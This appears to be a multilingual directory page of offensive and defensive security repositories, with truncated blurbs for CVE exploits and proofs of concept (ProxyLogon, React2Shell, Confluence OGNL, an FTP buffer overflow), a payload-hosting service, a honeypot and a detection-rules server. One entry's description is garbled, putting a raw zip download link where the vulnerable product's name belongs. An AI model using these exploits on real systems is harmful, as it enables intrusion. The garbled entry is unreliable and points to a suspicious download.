socksmon

socksmon راقب حركة TCP العشوائية باستخدام وكيل اعتراض HTTP الذي تختاره ما هو socksmon؟ socksmon هو خادم SOCKSv4 مبني على Twisted، يقوم بتوجيه حركة TCP الواردة عبر وكيل HTTP. يفعل socksmon ذلك عن طريق تشغيل خادم ويب داخلي على المنفذ 2357، وإرسال الحركة باستخدام وكيل الوسيط لتحريرها ثم إعادة توجيهه...

DECEIVE

DECEIVE DECEIVE, le DECeption with Evaluative Integrated Validation Engine , est un système honeypot à haute interaction et nécessitant peu d'effort. Contrairement à la plupart des honeypots à haute interaction, DECEIVE ne donne pas aux attaquants accès à un système réel. L'IA fait en réalité tou...

ProxyLogon

ProxyLogon ProxyLogon est le nom générique officiel de CVE-2021-26855, une vulnérabilité de Microsoft Exchange Server qui permet à un attaquant de contourner l'authentification et de se faire passer pour l'administrateur. Nous avons également enchaîné ce bug avec une autre vulnérabilité d'écritur...

rustdesk

Serveurs - Build - Docker - Structure - Images English | Українська | česky | 中文 | Magyar | Español | فارسی | Deutsch | Polski | Indonesian | Suomi | മലയാളം | 日本語 | Nederlands | Italiano | Русский | Português Brasil | Esperanto | 한국어 | العربي | Tiếng Việt | Ελληνικά Nous avons besoin de votre...

satellite

satellite Satellite is an web payload hosting service which filters requests to ensure the correct target is getting a payload. This can also be a useful service for hosting files that should be only accessed in very specific circumstances. Quickstart Guide 1. Install satellite on Ubuntu using th...

BotCon

BotCon Attlasian Confluence Exécution de code à distance non authentifiée via injection OGNL CVE-2022-26134 Le 2 juin 2022, Atlassian a publié un avis de sécurité pour ses applications Confluence Server et Data Center, signalant une vulnérabilité critique d'exécution de code à distance non...

RemoteAssistance-Cpp

RemoteAssistance-Cpp RemoteAssistance, version C++, similaire à TeamViewer https://dydtjr1128.github.io/RemoteAssistance-Cpp/ Une version Java Swing a également été créée = Lien Cette version n'implémente que la mise en miroir locale, qui n'utilise pas encore le réseau. À faire - x Capture d'écra...

EUVD-2026-95428

When an HTTP server handler sends a 2xx response to an HTTP/1 CONNECT request and returns without hijacking the connection, the server improperly continues to read and serve requests from the connection. Since a 2xx response to an HTTP/1 CONNECT converts the connection into a tunnel, the server...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - Exécutez des commandes facilement et en toute sécurité 🚀 Aperçu CVE-2025-55182 est une vulnérabilité dans https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip et les composants serveur React. Ce...

CVE-2023-28231

CVE-2023-28231 DHCP Server Remote Code Execution impact: 2008 R2 SP1 à Server 2019...

Security-Detections-MCP

Security Detections MCP Un serveur MCP Model Context Protocol qui permet aux LLM d'interroger une base unifiée de règles de détection de sécurité Sigma , Splunk ESCU , Elastic , KQL , Sublime et CrowdStrike CQL. Nouveau ici ? Commencez par leGuide d'installation -- couvre macOS, Windows WSL et...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC avec contournement WAF Un exploit proof-of-concept Python propre et fiable pour CVE-2025-55182 alias React2Shell, une vulnérabilité critique d'exécution de code à distance dans les composants serveur React utilisés par Next.js App Router et les frameworks similaires...

FakeDns

FakeDns Mise à jour 4/14/2020 - Support de Python 2 supprimé et code basculé vers Python3 Maintenant avec round-robin & options améliorées ! Bugs : @crypt0s - Twitter [email protected] - Email Un serveur DNS basé sur les expressions régulières Python ! UTILISATION : ./fakedns.py -h -c Config...

CVE-2021-31166-exploit

CVE-2021-31166 Vulnérabilité d'exécution de code à distance dans la pile du protocole HTTP Versions concernées : Microsoft : Windows 10 : version 2004 pour systèmes 32 bits version 2004 pour systèmes basés sur x64 version 2004 pour systèmes basés sur ARM64 version 20H2 pour systèmes 32 bits versi...

CVE-2023-27163

Preuve de concept PoC de SSRF sur Request-Baskets CVE-2023-27163 Ce dépôt contient une preuve de concept PoC pour CVE-2023-27163, une vulnérabilité de Server-Side Request Forgery SSRF découverte dans request-baskets jusqu'à la version 1.2.1. Cette vulnérabilité permet aux attaquants d'accéder à d...

CVE-2020-11932

CVE-2020-11932 🐛🔍 تحقق من CVE-2020-11932 واختبر المضيف المتعلق بهذه الثغرة الاستخدام التحميل git clone https://github.com/Staubgeborener/CVE-2020-11932 cd CVE-2020-11932 chmod +x cve-2020-11932.sh ./cve-2020-11932.sh باستخدام curl بدون تحميل bash curl -s...

CVE-2022-39197-POC

CVE-2022-39197-POC Version chinoise READMECN.md Introduction à la vulnérabilité Selon le Journal de mise à jour de la dernière version 4.7.1 officiellement publiée par CobaltStrike le 20 septembre, la version du serveur d'équipe Nous avons été contactés par un chercheur indépendant nommé...

CVE-2024-4956

CVE-2024-4956 Ce dépôt contient un utilitaire Python pour automatiser l'exploitation de CVE-2024-4956 et est capable de tester en masse des chemins de fichiers à partir d'un fichier d'entrée tout en automatisant le processus de sauvegarde des contenus de chemins de fichiers existants sur le disqu...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — Le protocole Flight de React est la couche de sérialisation derrière les React Server Components. CVE-2025-55182 exploite une faille de désérialisation dans Flight pour réaliser une exécution de code à distance RCE sans authentification. Si votre application...

CVE-2025-5548

🛡️ CVE-2025-5548 – Exploitation de Débordement de Tampon du Serveur FTP FreeFloat 📌 Aperçu Ce dépôt documente la découverte et l'exploitation d'une vulnérabilité de débordement de tampon basé sur la pile dans l'application FreeFloat FTP Server. La vulnérabilité réside dans le traitement de la...